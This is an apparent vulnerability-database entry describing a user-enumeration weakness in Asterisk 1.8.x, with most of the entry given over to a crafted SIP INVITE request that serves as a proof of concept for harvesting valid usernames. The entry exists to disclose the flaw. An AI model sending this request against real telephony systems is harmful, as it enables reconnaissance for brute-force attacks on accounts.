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Asterisk 1.8.x - SIP INVITE Request User Enumeration
source: https://www.securityfocus.com/bid/47676/info
Asterisk is prone to a user-enumeration weakness.
An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
This issue affects Asterisks 1.8.
The following request is available:
INVITE sip:192.168.2.1 SIP/2.0
CSeq: 3 INVITE
Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
To: <sip:[email protected]>
Contact: <sip:105@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 0
Max-Forwards: 70Data
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03 Jan 2015 00:00Current
5.3Medium risk
Vulners AI Score5.3